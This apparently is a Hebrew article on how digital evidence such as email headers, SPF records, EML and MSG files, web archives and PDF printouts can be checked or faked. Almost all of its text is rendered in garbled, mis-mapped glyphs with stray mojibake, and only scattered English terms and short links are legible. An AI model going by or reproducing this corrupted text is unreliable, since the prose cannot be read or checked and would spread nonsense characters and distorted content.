˸˶˷/˧ˣˮ˧˷˪ ˭˸˧ˮˣ ˫ˡ˞ (ï  ˣˮ˪˷ ˢ˶˵ˬ˟ά¦ǎŜǊέ .˭˩ˬ ˶˥˞˪ ,˫˧˧˶ˠˣ˯˟  ˸˟ˣ˸˩ ˸˞ ˞˴ˬˮ ˫˧˪ˣˠ˰

ˢIP- ˶ˣ˟˧˥ˢ ˰˴˟˸ˢ ˣˮˬˬ ˟˷˥ˬˢ ˪˷ , ˪˟˵ˬˢ ˡ˴ˢˬ ˸˧˞˶ˮ ˞˧ˢ˷ ˧˲˩)˪˷ˬ˪ , ˞˴ˬˮ ˟˷˥ˬˢˣ

 ˧˶ˣ˥˞ˬNAT ,ˣ˴ˬ˪ ˭˸˧ˮ ˢ˧ˢ˧ ˭˞˩ ˣ˸ˣ˞ ˪˷ ˸˧ˮˣ˴˧˥ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞NAT .( ˰˧˲ˣ˸ ˣˤ ˸˟ˣ˸˩ ˟ˣ˶˪

˫˧˰˟ˣ˶ˬ ˫˧˧˶ˠˣ˯ ˨ˣ˸˟ , ˱˯ˣˣ˸˧ ˢ˧˶˥˞˪ˣReverse DNS ˸˟ˣ˸˩ ˢ˸ˣ˞ ˪˷ ,˪˰- ˸˞ ˸ˬ˞˪ ˸ˮˬ

 ˸ˣˢˤ ˢ˸ˣ˞ï  ˣˮ˪˷ ˢ˶˵ˬ˟άώсуΦнмсΦмруΦфуϐ w5b{ ŦŀƛƭŜŘέ ) ˫˥˸ˬ ˫˷ ˞˴ˬˮ ˞˪ˣ ˶˥˞ˬ

ˢ ˸˟ˣ˸˩˪-IP ,˷ ˭˧ˣ˴ˬ-RDNS ˪˷˩ˮ.( 

 

2. by ï ˞ ˭˧˧˴ˬ ˸˶˷ ˣ˸ˣ˞˟ ˶ˡˠˣˬ˷ ˧˲˩ ˧ˬˣ˵ˬˢ ˫˥˸ˬˢ ˫˷ ˸ï  ˢˬˠˣˡ˪ ˣˬ˩ ˣˮ˪˷ ˢ˶˵ˬ˟

άǎƻǎƎǊŀǇƘƛŎǎΦŎƻƳέ .˫˧˧ˬ˧ˮ˲ ˫˥˸ˬ ˸ˣˬ˷ ˭˞˩ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˫˧˸˧˰˪ , ˫˧˧˵ˣ˥ ˞˪) ˱˧˰˯˟ ˣˬ˩4 (

˸˥˦˟ˣ˞ˬ ˸˧ˬ˧ˮ˲ ˸˷˶ ˨ˣ˸˟ ˞˴ˬˮ ˶˞ˣˡˢ ˸˶˷ ˧˩ ˡ˧˰ˬˢ ˶˟ˡ . ˪˷ ˢˬ˧˸˥ ˱˧˯ˣˢ˪ ˠˣˢˮ ˱˯ˣˮ˟

 ˢ˯˶ˠ ˱ˣ˶˧˴˟ ˶˞ˣˡˢ ˸˶˷)˫˧˲˧˰˯ 1,3,4.( 
 

3. ˭ˬˤ ˶ˣˤ˞ ˪˪ˣ˩ ˢ˞˪ˬˢ ˭ˬˤˢ ˸ˬ˧˸˥ ,˪˰- ˸ˣ˶˸ˣ˩ˢ ˶˞˷ ˪˩ ˪˷ ˡ˧˥˞ ˱˴˶ ˶ˣ˴˧˪ ˢ˧ˢ˧ ˭˸˧ˮ˷ ˸ˮˬ

˶˞ˣˡ ˦˧˶˲ ˣ˸ˣ˞ ˶˟˰˷ ˰˯ˬˢ ˪˷ ˢˮˣˬ˸ ˶ˣ˴˧˪ˣ .˭ˬˤˢ ˸ˣˬ˧˸˥˟ ˧ˡˬ ˢ˪ˣˡˠ ˢ˧˦˯ ˢˮ˷˧ˣ ˢˡ˧ˬ˟ ,

ˡ˷˥ ˶˶ˣ˰˪ ˪ˣ˩˧ ˶˟ˡˢ ,˶˞ˣˡˢ ˸˶˷ ˪˰ ˶ˡˠˣˬ˷ ˧˲˩ ˞ˣˢ ˠ˴ˣˬˢ ˭ˬˤˢ ˧˩ ˫˞ ,ˬ ˧˩ ˭˩˸˧˷ ˨˩ ˪ˢˮ

˧ˣ˞˶˩ ˭ˣ˰˷ˢ ˸˞ ˶˧ˡˠˢ ˞˪ ˸˶˷ˢ. 

ˢ ˸˶˸ˣ˩-Received  ˢˮˣ˷˞˶ˢ)ˢ˦ˬ˪ˬ (ˢ˷˰ˬ˪ ˢ˟˶ˢ ˧˩ˢ ˣˮ˸ˣ˞ ˡˬ˪˪ ˢ˪ˣ˩˧ , ˡˣˬ˪˪ ˭˸˧ˮ ˭˞˩ˣ ˶˥˞ˬ

ˢ˸ˣ˞ ˶˴˧˷ ˷ˬ˸˷ˬˢ ˰˧ˠˢ ˢ˲˧˞ˬˣ ˢ˰ˡˣˢˢ ˢ˶˴ˣˮ ˸˶˷ ˢˤ˧˞ ˪˰ . ˪˰ ˸ˣˡ˧˰ˬ ˸ˣˬ˧˸˥ˢ ˶˞˷ ˪˩

ˢ˰ˡˣˢ ˢ˸ˣ˞ ˢ˶˟˰˷ ˪ˣ˪˯ˬˢ ,ˢ˪˟˵˸ˢ ˣ˟ ˧ˬˣ˵ˬˢ ˸˶˷˪ ˡ˰ .˷˰ˬ˪ s, ˢ˰ˡˣˢˢ ˧˩ ˭˧˥˟ˢ˪ ˭˸˧ˮ ˡ˧ˬ

 ˣˬ˴˰˪ ˞˶ˣ˵˷ ˸˶˷˟ ˢ˶˴ˣˮsosgraphics.com ˱ˣ˧ˤ ˫˴˰˟ ˞˧ˢ ˣˤ ˢ˰ˡˣˢ˷ ˵˧˯ˢ˪ ˭˸˧ˮ ˭˩˪ˣ , ˞˪ˣ

 ˧˸˶˷ˬ ˢ˰˧ˠˢPayPal. 

 ˱˧˰˯˟ ˸ˣ˰˧˲ˣˬˢ ˶˞ˣˡˢ ˸ˣ˶˸ˣ˩ ˶˞˷0 ˢˬ˴˰ ˢ˰ˡˣˢˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˸ˣ˪˧˩ˬ , ˸ˣ˵˧ˡ˟˪ ˸ˣ˧ˣˡ˰˪ ˱˯ˣˮ˟

˸˞ ˣ˪˟˧˵˷ ˫˧ˮˣ˷ˢ ˫˧˸˶˷ˢ ˣ˰˴˧˟˷ ˸ˣˮˣ˷ ˢ˰ˡˣˢˢ . ˸˶˸ˣ˩ˢ ˞ˬˠˣˡ˪received-spf  ˸˵˧ˡ˟ ˪˰ ˸˶˲˯ˬ

SPF ˪˟˵ˬˢ ˸˶˷ˢ ˰˴˧˟˷ . ˸ˣ˶ˡˠˢ ˧˲˪ˣ ˶˥˞ˬ ˢ˪˷˩ˮ ˣˤ ˢ˵˧ˡ˟SPF  ˪˷ paypal.com ˣˮˬˬ ˸˶˷ˢ

˫ˬ˷˟ ˸ˣ˰ˡˣˢ ˥ˣ˪˷˪ ˢ˷˶ˣˬ ˞˪ ˢ˰ˡˣˢˢ ˢ˰˧ˠˢ . SPF - Sender Policy Framework  ˶ˡˢˮ ˶ˤ˰ ˧˪˩ ˞ˣˢ

ˤ˥˸ˬ ˞˪ ˶˥˞ ˣˢ˷˧ˬ˷ ˞ˡˣˣ˪ ˫˩˪ ˶ˤˣ˰˷˶˞ˣˡ ˸˥˧˪˷˟ ˫˩˪˷ ˫˥˸ˬˢ ˫˷˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˫˩˧˪˞ ˢ .

 ˪˰ ˡˣ˰SPF  ˞ˣ˶˵˪ ˭˸˧ˮ˭˞˩. 

˶˞ˣˡˢ ˧˦˧˶˲ ˸ˣˡˣ˞ ˟˶ ˰ˡ˧ˬ ˸ˣ˲˧˯ˣˬ ˣ˪˞ ˸ˣ˶˸ˣ˩˷ ˭ˣˣ˧˩ˬ , ˣˮ˧ˢ ˢ˰ˡˣˢˢ ˭˩ˣ˸ ˫˰ ˡ˥˧ ˭ˢ˪˷ ˱ˣ˶˧˴ˢ

˶˞ˣˡ ˧˶˟ˡ ˸ˣˮ˧ˬ˞˟ ˫˧ˮˡ ˶˷˞˩ ˢ˟ˣ˥ ˶ˡˠ˟ .˟ ˷ˣˬ˧˷˷ ˶ˬ˞ˮ ˧ˣˮ˧˷˪ ˷˷˥ˬ ˭˧ˬ˞ ˣˮ˧˞ ˸ˣ˦ˣ˷˲ ˸ˣ˯˲ˡˢ

˸ˣ˶˸ˣ˩ ˭˸ˣ˞ ˪˷ ˧˪˞ˣ˦˯˵˦ ,˧˪˦˧ˠ˧ˡ ˦ˬ˶ˣ˲˟ ˸˞ˤ ˸ˣ˷˰˪ ˳˪ˬˣˬ ˢˮ˧˥˟˪ ˶˞ˣˡ ˧˶˟ˡ ˫˧˷˧ˠˬ ˶˷˞˩. 

 

 

http://l.omerc.net/spf
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˶˞ˣˡ ˧˶˟ˡ˪ ˫˧˧˶˵˧˰ ˫˧˦ˬ˶ˣ˲ ˧ˮ˷ ˫ˮ˷˧: 

1. EML-  ˣ˞ ˦˯˵˦˟ ˶˞ˣˡˢ ˭˩ˣ˸ ˱˯ˣˮ˟ˣ ˭˞˩ ˣˠ˴ˣˢ˷ ˧˲˩ ˸ˣ˶˸ˣ˩ˢ ˪˩ ˸˞ ˪˧˩ˬˢ ˧˪˞ˣ˦˯˵˦ ˦ˬ˶ˣ˲

 ˦ˬ˶ˣ˲˟MIME .˧˪˞ˣ˦˯˵˦ ˦ˬ˶ˣ˲˟ ˶˟ˣˡˬˣ ˶˥˞ˬ ,˟ ˳˟ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˭˸˧ˮ-notepad ˨ˣ˶˰˪ˣ ,

˵˲˯˟ ˸ˡˬˣ˰ ˣ˸ˣˮ˧ˬ˞ ˭˩˪ . ˸ˣˬ˧˸˥ ˸˞ ˶ˬ˷˪ ˭˸˧ˮ ˳˟ˣ˵ˢ ˪˷ ˢˮˣ˩ˮ ˢ˵˸˰ˢ˟˷ ˢˮ˰˦ˢ ˸ˣ˶ˬ˪

˶˴ˣˮ ˣ˟ ˫˧˴˟˵ˢ ˸˩˶˰ˬ ˪˷ ˭ˬˤˢ ,˶˴ˣˮ˷ ˤ˞ˬ ˢˮˣ˷ ˞˪˷ ˡ˧˰ˢ˪ ˨˩ˣ ,˭ˬˤˢ ˸ˣˬ˧˸˥  ˸˩˶˰ˬ ˪˷

 ˸ˣ˦˷˲˟ ˧ˣˮ˧˷˪ ˸ˣˮ˸˧ˮ ˫˧˴˟˵ˢ)˪˰ ˫˞- ˸ˡˣ˵˲ ˧ˡ˧touch ˯˵ˣˮ˧˪˟ , ˸˶ˤ˰˟ ˣ˪˧˲˞ ˣ˞PHP , ˫˰

 ˢ˧˴˵ˮˣ˲ˢtouch() (˵˧˲˯ˬ ˭˧ˬ˞ ˞˪ ˢˤ ˦ˬ˶ˣ˲ ˭˧˧ˡ˰ ˭˩˪ˣ. 

2. MSG- ˲˯ˬ ˪˧˩ˬˢ ˧˶˞ˮ˧˟ ˦ˬ˶ˣ˲˸ˣ˧ˡˣ˥˧˧ ˸ˣˮˣ˩˸ˣ ˫˧˦˵˧˧˟ˣ˞ ˪˷ ˟˶ ˶ . ˸ˣ˰ˡˣˢMSG , ˟ˣ˶˪˷

 ˧˸˶˷ ˸˪ˣ˰˲ˬ ˵˪˥˩ ˸ˣ˶˴ˣˮExchange  ˥ˣ˵˪ˢ ˸ˮ˩ˣ˸ˣOutlook  ˸˧˟ˬMicrosoft ,˪˰ ˸ˣ˧ˣˮ˟-

 ˯˧˯˟MAPI ï Messaging Application Programming Interface , ˶˞ˣˡ ˸ˣ˩˶˰ˬ˪ ˢ˶ˣ˦˵˦˧˩˶˞

 ˸˟˧˟˯˟Microsoft ,ˢ˟ ˷ˬ˸˷ˢ˪ ˪ˣ˩˧ ˸ˮ˩˸ˬ ˪˩ ˪˰- ˶˞ˣˡˢ ˸ˣ˧˴˵ˮˣ˲˪ ˵˷ˬˬ˸ˢ˪ ˸ˮˬ

˸ˣˮˣ˷ˢ .˶˞ˣˡ ˦˧˶˲ ˪˩˪ ˫˧ˮˣ˷ ˫˧ˮ˧˧˲˞ˬ ˪˷ ˫ˣ˴˰ ˶˲˯ˬ˪ ˢ˷˧ˠ ˸ˮ˸ˣˮ ˢ˶ˣ˦˵˦˧˩˶˞ˢ , ˢ˷˧ˠˮˣ

˫˪˷ ˫˧ˮˣ˸ˮ ˯˧˯˟ ˸˶ˣ˴˟ , ˳˟ˣ˵ ˨ˣ˸˟ ˪ˣ˩ˢMSG ˡˡˣ˟ . 

˸ˣ˶˸ˣ˩ˢ ˸ˣˡ˷ ˫ˢ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˫˧˧˶˵˧˰ˢ ˸ˣˡ˷ˢ ,˫ˡˣ˵ˬ ˣˮ˧˧˴˷ ˧˲˩ , ˫˧˯˥˧˧˸ˬˢ ˫˧ˡ˥ˣ˧ˬ ˸ˣˡ˷ˣ

ˣˮ˪ˣˮ˪˷ ˞˷ ,ˢ˰ˡˣˢˢ ˸˶˧˴˧ ˭ˣˠ˩ ˢ˟ˣ˷˥ ˢ˪ˣ˰˲ ˪˩ ˦˰ˬ˩˪ ˭ˬˤ ˸ˣˬ˧˸˥ ,ˢ˟ˣˠ˸ ˨˧˶˞˸ , ˸ˣˡˣ˞ ˫˧˦˶˲

˫˧˲˶ˣ˴ˬ ˫˧˴˟˵ , ˸˶˧˴˧ ˶˥˞˪ ˰˴˟˸ˢ˷ ˧ˣˮ˧˷ ˪˩ ˪˰ ˫˧˶˲˯ˬˣ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˫˧ˮ˩ˡ˰˸ˬ˷ ˸ˣˡ˷ˣ

ˢ˰ˡˣˢˢ . 

 ˢ˧˴˵˧˪˲˞ˢ ˸ˣ˰˴ˬ˞˟MFCMAPI ˪ ˸˷ˠ˪ ˭˸˧ˮ ˧˧˴˟˵MSG  ˪ˣ˵ˣ˦ˣ˶˲˟MAPI  ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˸˞ ˞ˣ˶˵˪ˣ

˞˪ˬˢ . ˧˴˟˵ ˥˸ˮ˪ ˸˶˷˲˞ˬ ˱˞ ˢ˧˴˵˧˪˲˞ˢPST (Personal Storage Table)  ˸ˣ˲˯ˣˮ ˸ˣˮˣ˩˸ ˪˪˷ ˢ˪˧˩ˬˣ

ˢ ˫ˣ˥˸˟-MAPI. 

 

 ˸ˣ˰˴ˬ˞˟ ˢ˷˧ˠ ˧ˡ˧ ˪˰ ˦ˣ˷˲ ˷ˬ˸˷ˬ˪ ˫˧˷˧ˠˮ ˫ˮ˧˞˷ ˸ˣˡ˷ ˭ˣ˥˟˪˶˷˲˞ˬ ˢˤ ˧˪˩Outlook  ˸ˮ˩ˣ˸ ˣ˞

˸˶˥˞ ˥ˣ˵˪ ,ˬ˟ ˨˩ˣˢ˸˶˧˴˧ ˶˥˞˪ ˢ˰ˡˣˢˢ ˧ˮ˧˧˲˞ˬ˟ ˧ˣˮ˧˷ ˨˶˰ˮˣ ˢˡ˧ ,˭˞˩ ˸˞ˤ ˸ˣ˪ˠ˪ ˪˩ˣˮ. 

http://l.omerc.net/mime
http://l.omerc.net/touch
http://l.omerc.net/touchphp
http://l.omerc.net/mfcmapi
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˥˦˷ˢ ˧ˮ˲˪ ˸˥˸ˬ ˫˧˶˸˸˯ˬ ˫˧˦˶˲ ˢˬ˩ ˣˮ˧˞˶˷ ˶˥˞˪ , ˦ˬ˶ˣ˲ˢ ˶ˣˬ˧˷˟ ˸ˣ˟˧˷˥ˢ ˸˞ ˭˧˟ˢ˪ ˭˸˧ˮ

˪˪˩˟ˣ ˫˧˧˦˲˷ˬ ˫˧˵˧˸˟ ˧ˮˣ˶˦˵˪˞ ˶˞ˣˡ ˸ˣ˧˞˶ ˫˰ ˸ˣˡˡˣˬ˸ˢ˟ ˧˪˦˧ˠ˧ˡˢ . 

˪˰-˸ˣ˧˞˶ˢ ˸ˣˮˬ˧ˢˬ˟ ˵˲˯ ˰ˣˮˬ˪ ˸ˮˬ ,˱ˣ˯˞˪ ˱˧ˡ˰  ˪˷ ˧˦˶˲ˢ ˣ˟˷˥ˬˬ ˞˪ˣ ˶˞ˣˡˢ ˸˶˷ˬ ˸ˣ˶˧˷˧ ˭˸ˣ˞

˷ˬ˸˷ˬˢ . ˸˶˷˟ ˶˟ˣˡˬ ˞˪ˣ ˢˡ˧ˬ˟Exchange , ˸ˣ˰˴ˬ˞˟ ˸˶˷ˢˬ ˸ˣ˰ˡˣˢˢ ˸˞ ˨ˣ˷ˬ˪ ˳˪ˬˣˬ

 ˪ˣ˵ˣ˦ˣ˶˲IMAP ˪ ˡˣˠ˧ˮ˟ ˶˷˞-POP ,˪ ˫˸ˣ˞ ˭˧ˤˢ˪ˣ ˢ˰ˡˣˢˢ ˧ˮ˧˧˲˞ˬ ˸ˣˡˣ˞ ˫˧˟˶ ˫˧˦˶˲ ˵˲˯˪ ˰ˡˣ˧-

Outlook  ˸˶ˣ˦˵˦˧˩˶˞ ˪˰ ˸˩ˬ˯ˮ˷ ˸˶˥˞ ˢˮ˩ˣ˸ ˪˩ ˣ˞IMAP . ˫˧ˮ˧˧˲˞ˬˢ ˪˩ ˸˞ ˪˧˩˧ ˶˴ˣˣ˧˷ ˳˟ˣ˵ˢ ˨˩

ˢ˰ˡˣˢˢ ˪˷ ˢ˸ˣˮ˧ˬ˞ ˸ˣˬ˧˞˪ ˫˧˟ˣ˷˥ˢ. 

 

˦ˮ˶˦ˮ˧˞ ˧˶˸˞ ˸ˡ˧˩˪ 

 

˦ˮ˶˦ˮ˧˞ ˧˶˸˞ˬ ˭˩ˣ˸ ˪˷ ˢˡ˧˩˪ ˸˶ˣ˴˟ ˞˧ˢ ˢ˧˧ˮ˷ˢ ˢ˴ˣ˲ˮˢ ˸˧˦ˮ˶˦ˮ˧˞ˢ ˢ˧˧˞˶ˢ , ˸˶˲ˢ ˸ˣ˟˵˰˟ ˟ˣ˶˪

˫˧˶˴ˣ˧ ˸ˣ˧ˣ˩ˤ ,ˢ˞˪ˢ ˭˩ˣ ˸ˣ˴ˬ˷ˢ .˶˞ˣˡ ˸ˣ˟ˣ˸˩˸˪ ˡˣˠ˧ˮ˟ , ˸˶˷˪ ˣ˰˧ˠˢ˷ ˰ˠ˶˟˷ ˣ˰˧ˠˢ˷ ˣˬ˩ ˣ˶˞˷˧˧ ˭ˢ

˭˸ˣ˞ ˵ˣ˥ˬ˪ ˣ˦˧˪˥˧ ˶˷˞ ˡ˰ , ˫˧˶˸˞ˢ ˪˩ ˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟˷ ˢˡ˟ˣ˰ˢ ˞˧ˢ ˦ˮ˶˦ˮ˧˞ ˧˶˸˞ ˫˰ ˢ˧˰˟ˢ

˭˧˦ˣ˪˥˪ ˫˧˧ˬ˞ˮ˧ˡ ˣ˩˲ˢ . ˫ˣ˧˟ ˫˧ˬ˰˲ ˪˷ ˟˶ ˶˲˯ˬ ˫ˢ˧ˮ˲ ˸˞ ˫˧ˮ˷ˬ ˟˶ ˭˩ˣ˸ ˫˧˵˲˯ˬˢ ˫˧˪ˣˡˠ ˫˧˶˸˞

˫˧ˣ˯ˬ ˭˩ˣ˸ ˸ˣˡˣ˞ ˰˟˸ˮ ˶˸˞ ˪˰˟ ˣ˟˷ ˢ˶˵ˬ˟ˣ ,˰ˢ˪ ˸ˣ˧ˮ˷˟ ˪ˣ˩˧ ˞ˣˢ ˞˪ ˫˪ˣ˰ˬ˷ ˭ˣ˰˦˪ˣ ˭˩ˣ˸ˢ ˸˞ ˫˧˪

˶˸˞˟ ˫˧˧˵ ˢ˧ˢ ,˦˪˥ˣˬ ˱ˣ˧ˤ ˞ˣˢ ˣ˪˷ ˡˣ˰˧˸ ˪˩˷ˣ. 

 ˸˶ˤ˰˟ˣ ˣˮ˸˶ˤ˰˪ ˪ˣˡˠˢ ˰˧˷ˣˬˢ ˞˟ ˫˧˸˧˰˪Google Cache  ˶˥˞˪ ˫˧ˮ˩˸ ˪˷ ˫˧˵˸ˣ˰ ˪˰ ˸ˣ˪˰˪ ˭˸˧ˮ

ˣˮˣ˷˷ ,˫˧ˬ˧ ˶˲˯ˬ ˨ˣ˸ ˫˧ˬ˪˰ˮ ˢ˪˞ ˫ˠ ˪˟˞/ ˸ˣˮ˰˦ˬ ˰ˮˬ˧ˢ˪ ˧ˡ˩ ˢˮˣ˩ˮ ˢ˶ˣ˴˟ ˫˸ˣ˞ ˡ˰˸˪ ˷˧ˣ ˸ˣ˰ˣ˟˷

˱ˣ˧ˤ ˬ ˡ˶ˣ˧ ˭˩ˣ˸ˢ˷ ˶˥˞˪- Google .˪˰-˟ ˫˩˪˷ ˡˣˬ˰ˢ ˪˷ ˣˬˣ˧˵ ˵ˣˡ˟˪ ˸ˮˬGoogle -  ˸˶ˣ˷˟ ˫ˣ˷˶˪ ˷˧

 ˪ˠˣˠ ˪˷ ˷ˣ˲˧˥ˢcache: ˫˩˪˷ ˶˸˞ˢ ˸˟ˣ˸˩ ˸˞ˣ ) ˪˷ˬ˪cache:ynet.co.il .( ˸˞ ˭˟ˣˬ˩ ˷˧ ˱˯ˣˮ˟ ˭ˣ˧˩˶˞

˦ˮ˶˦ˮ˧˞ˢ ˸˞ ˪˷ ˫˧ˬ˧ˣ˯ˬ ˫˧˵˸ˣ˰ ˶ˬˣ˷˷˫˧˶ . ˦ˮ˶˦ˮ˧˞ ˶˸˞˟ ˭˩ˣ˸ ˡ˰˸˪ ˨˶ˣ˴ ˷˧ ˣ˟˷ ˢ˶˵ˬ ˪˩˟

˫˪ˣ˰ˢ ˭ˬ ˫˧ˬ˪˰ˮ ˫ˢ˷ ˧ˮ˲˪ ˫˧ˬ˧ˣ˯ˬ ˢ˰˷ˣ ˫ˣ˧˟ , ˫ˣ˵ˬ ˶˧˞˷˸ ˞˪˷ ˸˧˸ˣ˩˧˞ ˢ˶ˣ˴˟ ˸˞ˤ ˸ˣ˷˰˪ ˟ˣ˷˥

ˡˣ˰˧˸ˢ ˸ˣˮ˧ˬ˞˟ ˵˲˯˪ . 

˪˰ ˡ˧˰ˢ˪ ˧˸˷˵˟˸ˮ ˢˮˣ˶˥˞˪- ˧ˡ˧ˣ˰"˯˵ˣ˲ ˧˲˞ ˡ ˟˵˧˸ ˸ˣ˧ˣ˩ˤ ˴ˣ˧˫˧˶ ˣ˟˷ ˮˢ˸˰˟ ˟˶˯ ˸ˣˡˣˢ˪ ˧ˬˣ˪˧˴˟ 

˨˯ˬ ˣˠ˴ˣˢ˷ . ˦ˬ˶ˣ˲˟ ˣ˷ˠˣˢ ˸ˣ˧˞˶ˢPDF ˪˰ ˶˴ˣ˧˷-˭˲ˡ˲ˡˢˬ ˦ˣ˷˲ ˞ˣ˴˧ ˧ˡ˧ , ˞˪ ˸ˣ˧˞˶ˢ˷ ˭˰˦ ˰˟˸ˮˢ

ˣ˶˸˞˟ ˠ˴ˣˢ ˞˪ ˫˪ˣ˰ˬ ˭˩ˣ˸ˢˣ ˸ˣ˧˸ˬ˞. 

 ˸˶ˣ˴˟ ˡˣ˰˧˸ ˫˰ ˢ˧˰˟ˢPDF ,˸ˣ˧˪˦˧ˠ˧ˡ ˸ˣˬ˧˸˥ˣ ˫˧ˮ˧˧˲˞ˬ ˪˷ ˟˶ ˶˲˯ˬ ˪˧˩ˬ ˞ˣˢ˷ ˸ˣ˶ˬ˪˷ , ˞ˣˢ

˞ ˵˶ˣ ˨˞ ˡ˰˸ˬ˭˲ˡ˲ˡ˟ ˠ˴ˣˬ˷ ˢˬ ˸ . ˣ˸˟ˣ˸˩ ˡˣˬ˰ˢ ˸˧˸˥˸˟ ˱˯ˣˣ˸ˬ ˭˲ˡ˲ˡˬ ˞ˣ˴˧˟˷ ˢˡ˟ˣ˰ˢ ˸ˣ˶ˬ˪

˫˧˯˧˲ˡˬ ˣ˧˪˞ ˶˸˞ˢ ˪˷ ,˶ˣ˵ˬˢ ˸ˣˮ˧ˬ˞˪ ˫˧ˣ˯ˬ ˪˵˷ˬ ˭˸ˣˮˢ ˶˟ˡ , ˶˸˞ˢ ˸˞ ˠ˧˴ˬ ˳˟ˣ˵ˢ˷ ˸ˬ˞ˬ ˨˩ˣ

˧ˬˣ˵ˬ ˵˸ˣ˰ ˞˪ˣ ˧˸ˬ˞ˢ .˭˩˧˲ ˪˰ ˱˞ , ˪˰ ˱ˡˢ ˪˷ ˵˸˰ˢ ˶ˣ˴˧˪ ˪ˣ˩˧ ˫˧˶˸˞ ˸˧˧ˮ˟˟ ˭ˣ˧˯˧ˮ ˦˰ˬ ˫˰ ˫ˡ˞

ˬ ˸˶˷ ˸ˣˬˣ˷˶ ˧ˣˮ˧˷ ˧ˡ˧ ˪˰ˣ ˧ˬˣ˵DNS  ˳˟ˣ˵˟hosts ˸˧˦ˮ˶˦ˮ˧˞ ˸˟ˣ˸˩ ˭˲ˡ˲ˡ˟ ˸˷ˠ˪, ˸˞ ˪˟˵˪

˧ˬˣ˵ˬˢ ˵˸˰ˢˢ ,˟ ˣ˸ˣ˞ ˡˣ˩˪˪-PDF  ˭˩ˣ˸ ˪˷ ˸˲˧ˣˤˬ ˢ˧˞˶ ˶ˣ˴˧˪ˣ"˦ˮ˶˦ˮ˧˞˟."˶˟ˣˡˬˢ ˢ˶˵ˬ˟ ,ˣ˰" ˡ

˯˵ˣ˲ ˧˲˞ ˶˸˞ ˣ˸ˣ˞ˬ ˫˧ˮˣ˷ ˫˧ˡˣˬ˰ˣ ˸ˣ˞˯˶ˠ ˶˲˯ˬ ˱˶˧˴ˣ ˭ˣ˩ˮ ˢ˷˰ , ˸˞ ˠ˧˴ˬˢ ˣ˞ˡ˧ˣ ˭ˣ˦˶˯˪ ˱˯ˣˮ˟

ˣ˟ ˫˧ˮˣ˷ˢ ˫˧ˮ˩˸˟ ˶˟˰ˬˣ ˧˥ˢ ˶˸˞ˢ .˫ˣ˥˸˟ ˸ˣ˰˴˵ˬ˸ˢˣ ˭ˣ˧˯˧ˮ ˶˸ˣ˧ ˷˶ˣˡ ˣ˪˞ ˸ˣ˧˞˶ ˪˷ ˱ˣ˧ˤˢ , ˶˟ˡ

http://l.omerc.net/wayback
http://l.omerc.net/wayback
http://l.omerc.net/wayback
http://l.omerc.net/wayback
http://l.omerc.net/fuks
http://l.omerc.net/hostsfile
http://l.omerc.net/fuks
http://l.omerc.net/fuks
http://l.omerc.net/fuks
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ˢ˶˵ˬ˟ ˰˟ˣ˸ˢ ˪˷ ˭˧˧˲˞ˬ ˢ˧ˢ ˞˪˷ ,˶˸˞ˢ ˪˰˟ ˵˧˸˰ˢ˷ ˸ˣ˲˯ˣˮ ˸ˣ˟˸˩ ˸ˣˡˣ˞ ˱˧˵ˬ ˶˵˥ˬ˪ ˱˯ˣˮ˟ .

˸ˣ˧˞˶ˢ ˸ˣˮ˧ˬ˞˪ ˱˯ˣˮ ˪˵˷ˬ ˣˮ˸ˮ ˣ˪˞ ˸ˣ˲˯ˣ˸ . 

˶˰˶˰˪ ˢ˷˵ ˢ˧ˢ˧˷ ˧˸ˣ˩˧˞ ˡˣ˰˧˸ ˰˴˟˪ ˧ˡ˩˟ ,ˢˤ˩˷ ˱ˣ˧ˤ ˶ˣ˴˧˧˪ ˫˧˟˶ ˫˧˴ˬ˞ˬ ˣ˷˶ˡ˧˷ ˢ˶ˣ˴˟ ˸ˣ˥˲˪ ,

 ˭ˬˤ˟ ˫˧˧˸˟˧˟˯ˢ ˫˧ˮ˧˧˲˞ˬˢ ˪˩ ˸˞ ˡ˰˸˧ ˢˤ˷ˣ ˡˣ˰˧˸ˢ ˰ˣ˴˧˟˪ ˡ˥ˣ˷ˬ ˧˸˪˟ ˧˷˧˪˷ ˡ˴˟ ˶ˤ˰˧ˢ˪ ˷˧

˸˷˶ ˸ˣ˶ˡˠˢ ˭ˣˠ˩ ˡˣ˰˧˸ˢ ,˟ˣ˸˧ˮ ˸ˣ˞˪˟˦ ,ˡˣ˰ˣ ˭ˣˬ˦ˬ ˧˵˸ˣ˰ ˧ˣ˵˧ˮ . ˪˩ ˸˞ ˣ˞ˡ˧ˣ ˭ˣ˦˶˯˟ ˡˣ˩˪˪ ˱˧ˡ˰

˪˰ ˭ˬˤ ˱˴˶˟ ˨˧˪ˢ˸ˢ-˫˧ˮˣ˷ ˫˧ˮˬˤ˟ ˢ˷˰ˮ ˢˡ˧˩˪ˢˣ ˸ˣ˵˧ˡ˟ˢ˷ ˢˮ˰˦ ˰ˣˮˬ˪ ˸ˮˬ , ˠ˧˴ˢ˪  ˧ˡ˩˟ ˸˞ˤ ˪˩

˦ˮ˶˦ˮ˧˞ˢ ˸˷˶˟ ˫˪ˣ˰˪ ˷˧ˠˮ ˭˩˞ ˫˧˷ˠ˧ˮ ˣ˧˪˞ ˶˸˞ˢ˷ ˸˧˰ˬ˷ˬ ˡ˥ ˢ˶ˣ˴˟. 

 

˫ˣ˩˧˯ 

 

˥ˣ ˫ˣ˧˪ ˫ˣ˧ˬ ˢ˪ˣ˰ ˸ˣ˧˪˦˧ˠ˧ˡ ˸ˣ˧˞˶˟ ˷ˣˬ˧˷ˢ ˞˪˷ ˧ˡ˩ ˞˷ˣˮˢ ˸˞ ˫˧˟˟ˣ˯ˢ ˫˧ˮ˧˧˲˞ˬˢ ˪˩ ˸˞ ˭˧˟ˢ˪ ˟ˣ˷

